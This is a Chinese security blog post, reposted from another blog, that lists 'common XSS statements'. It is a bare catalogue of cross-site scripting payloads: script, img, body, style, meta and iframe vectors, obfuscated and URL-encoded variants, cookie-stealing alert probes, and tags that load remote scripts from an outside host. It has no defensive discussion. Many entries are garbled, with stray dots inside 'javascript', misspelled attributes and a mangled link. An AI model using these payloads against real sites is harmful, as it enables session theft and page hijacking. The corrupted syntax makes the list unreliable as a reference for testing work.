• 如果你喜欢Time_泽~少的博客,请按ctrl+D收藏吧!
  • 网络安全/信息技术博客

XSS常用语句

Web渗透 Time_泽 ~少 2792次浏览 已收录 0个评论 扫描二维码

XSS常用语句

转自Molutran’s Blog )

<script>alert(‘hello,gaga!’);</script> //经典语句,哈哈!

>”‘><img src=”javascript.:alert(‘XSS’)”>

>”‘><script>alert(‘XSS’)</script>

<table background=’javascript.:alert(([code])’></table>

<object type=text/html data=’javascript.:alert(([code]);’></object>

“+alert(‘XSS’)+”

‘><script>alert(document.cookie)</script>

=’><script>alert(document.cookie)</script>

<script>alert(document.cookie)</script>

<script>alert(vulnerable)</script>

<s&#99;ript>alert(‘XSS’)</script>

<img src=“javas&#99;ript:alert(‘XSS’)”>

%0a%0a<script>alert(\“Vulnerable\”)</script>.jsp

%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e

%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e

%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html

<script>alert(‘Vulnerable’)</script>

a.jsp/<script>alert(‘Vulnerable’)</script>

“><script>alert(‘Vulnerable’)</script>

<IMG SRC=”javascript.:alert(‘XSS‘);”>

<IMG src=”/javascript.:alert”(‘XSS‘)>

<IMG src=”/JaVaScRiPt.:alert”(‘XSS‘)>

<IMG src=”/JaVaScRiPt.:alert”(&quot;XSS&quot;)>

<IMG SRC=”jav&#x09;ascript.:alert(‘XSS‘);”>

<IMG SRC=”jav&#x0A;ascript.:alert(‘XSS‘);”>

<IMG SRC=”jav&#x0D;ascript.:alert(‘XSS‘);”>

“<IMG src=”/java”\0script.:alert(\”XSS\”)>”;’>out

<IMG SRC=” javascript.:alert(‘XSS’);”>

<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>

<BODY BACKGROUND=“javascript.:alert(‘XSS’)”>

<BODY ONLOAD=alert(‘XSS’)>

<IMG DYNSRC=“javascript.:alert(‘XSS’)”>

<IMG LOWSRC=“javascript.:alert(‘XSS’)”>

<BGSOUND SRC=“javascript.:alert(‘XSS’);”>

<br size=“&{alert(‘XSS’)}”>

<LAYER SRC=“http://xss.ha.ckers.org/a.js”></layer>

<LINK REL=“stylesheet”HREF=“javascript.:alert(‘XSS’);”>

<IMG SRC=‘vbscript.:msgbox(“XSS”)’>

<META. HTTPEQUIV=“refresh”CONTENT=“0;url=javascript.:alert(‘XSS’);”>

<IFRAME. src=“/javascript.:alert”(‘XSS’)></IFRAME>

<FRAMESET><FRAME. src=“/javascript.:alert”(‘XSS’)></FRAME></FRAMESET>

<TABLE BACKGROUND=“javascript.:alert(‘XSS’)”>

<DIV STYLE=“background-image: url(javascript.:alert(‘XSS’))”>

<DIV STYLE=“behaviour: url(‘http://www.how-to-hack.org/exploit.html&#39;);”>

<DIV STYLE=“width: expression(alert(‘XSS’));”>

<STYLE>@im\port‘\ja\vasc\ript:alert(“XSS”)’;</STYLE>

<IMG STYLE=‘xss:expre\ssion(alert(“XSS”))’>

<STYLE. TYPE=“text/javascript”>alert(‘XSS’);</STYLE>

<STYLE. TYPE=“text/css”>.XSS{backgroundimage:url(“javascript.:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>

<STYLE. type=“text/css”>BODY{background:url(“javascript.:alert(‘XSS’)”)}</STYLE>

<BASE HREF=“javascript.:alert(‘XSS’);//”>

getURL
(“javascript.:alert(‘XSS’)”)

a
=“get”;b=“URL”;c=“javascript.:”;d=“alert(‘XSS’);”;eval(a+b+c+d);

<XML SRC=“javascript.:alert(‘XSS’);”>

“> <BODY NLOAD=”a();“><SCRIPT>function a(){alert(‘XSS’);}</SCRIPT><”

<SCRIPT. SRC=“http://xss.ha.ckers.org/xss.jpg”></SCRIPT>

<IMG SRC=“javascript.:alert(‘XSS’)”

<SCRIPT. a=“>”SRC=“http://xss.ha.ckers.org/a.js”></SCRIPT>

<SCRIPT.=“>”SRC=“http://xss.ha.ckers.org/a.js”></SCRIPT>

<SCRIPT. a=“>”SRC=“http://xss.ha.ckers.org/a.js”></SCRIPT>

<SCRIPT.“a=’>'”SRC=“http://xss.ha.ckers.org/a.js”></SCRIPT>

<SCRIPT>document.write(“<SCRI”);</SCRIPT>PTSRC=“http://xss.ha.ckers.org/a.js”></SCRIPT>

<A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>

原创文章,转载请注明: 转载自Time_泽~少的博客

本文链接地址: XSS常用语句

XSS常用语句



Time_泽~少的博客, 版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权 , 转载请注明XSS常用语句
喜欢 (0)or分享 (0)
Time_泽 ~少
关于作者:
计算机专业/网络安全技术,社会工程学。
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址可不填